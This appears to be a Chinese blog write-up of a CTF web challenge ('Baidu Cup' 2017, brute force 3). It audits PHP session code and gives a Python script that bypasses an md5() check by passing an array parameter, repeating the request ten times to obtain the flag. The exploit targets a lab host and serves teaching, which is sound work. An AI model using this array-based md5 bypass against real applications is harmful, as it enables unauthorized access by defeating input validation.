“百度杯”CTF比赛 2017 二月场-爆破-3
1.ISC2016训练赛-phrackCTF-FindKey2.第三届上海市大学生网络安全大赛-crackme3.2017年全国大学生信息安全竞赛-填数游戏4.“百度杯”CTF比赛 2017 二月场-爆破-15.“百度杯”CTF比赛 2017 二月场-爆破-26.ISC2016训练赛-phrackCTF-Smali7.“百度杯”CTF比赛 九月场-Upload8.“百度杯”CTF比赛 九月场-SQL9.《从0到1:CTFer成长之路》题目-SQL注入-210.“百度杯”CTF比赛 九月场-SQLi
11.“百度杯”CTF比赛 2017 二月场-爆破-3
12.2017第二届广东省强网杯线上赛- who are you13.i春秋 第二届春秋欢乐赛-Hello-World14.“百度杯”CTF比赛 十月场-Login15.“百度杯”CTF比赛 九月场-123“百度杯”CTF比赛 2017 二月场
爆破-3
题目类型:web
题目描述:打开靶机,得到一段php代码,说明这是一道php代码审计类型的题:
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){
session_destroy();
}
$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
show_source(__FILE__);
?>
解题方法:我们来审计一下这一段php代码:
<?php
error_reporting(0); // 关闭错误报告,防止泄漏敏感信息
session_start(); // 启动会话,以便在页面之间共享数据
require('./flag.php'); // 导入 flag.php 文件,可能包含了一些敏感信息
// 如果会话中不存在 'nums' 键,则初始化为 0,同时记录时间和当前用户为 'ea'
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time(); // 记录当前时间
$_SESSION['whoami'] = 'ea'; // 记录当前用户标识
}
// 如果距离会话开始的时间超过 120 秒,则销毁会话
if($_SESSION['time']+120<time()){
session_destroy();
}
$value = $_REQUEST['value']; // 从用户请求中获取 'value' 参数
$str_rand = range('a', 'z'); // 创建包含字母 'a' 到 'z' 的数组
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]; // 从数组中随机选择两个字母组合成字符串
// 如果用户输入的前两个字符与会话中的 'whoami' 相同,并且输入的值经过 md5 加密后的结果是0
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++; // 会话中记录次数加一
$_SESSION['whoami'] = $str_rands; // 更新当前用户标识
echo $str_rands; // 输出随机字符串
}
// 如果会话中记录的次数大于等于 10,则输出 flag
if($_SESSION['nums']>=10){
echo $flag; // 输出 flag.php 中定义的 flag
}
show_source(__FILE__); // 显示当前 PHP 文件的源代码
?>
关键是在于这里:
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++; // 会话中记录次数加一
$_SESSION['whoami'] = $str_rands; // 更新当前用户标识
echo $str_rands; // 输出随机字符串
这里要MD5加密后的值为0,可以用数组来进行绕过,MD5对数组不能处理,这里我们用数组来传入当前的用户标识 ?value[]=ea
这是nums就会加一,whoami就会随机产生一个新的字符在最上边,每次传入随机产生的字符,nums就会增加一次,当nums==10的时候就会输出flag,这里可以手动每次输入并传入随机产生的字符,连续10就可以,它的回话时间限制有120秒,够进行手动输入
也可以编写python脚本:
import requests
url = 'http://eci-2zedizxwhsw2plkete27.cloudeci1.ichunqiu.com/'
session = requests.Session()
html = session.get(url+'?value[]=ea').text
for _ in range(10):
html = session.get(url+'?value[]='+html[:2]).text
print(html)
得到flag:
flag{16604491-e2d1-4842-a21d-8dd961695290}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通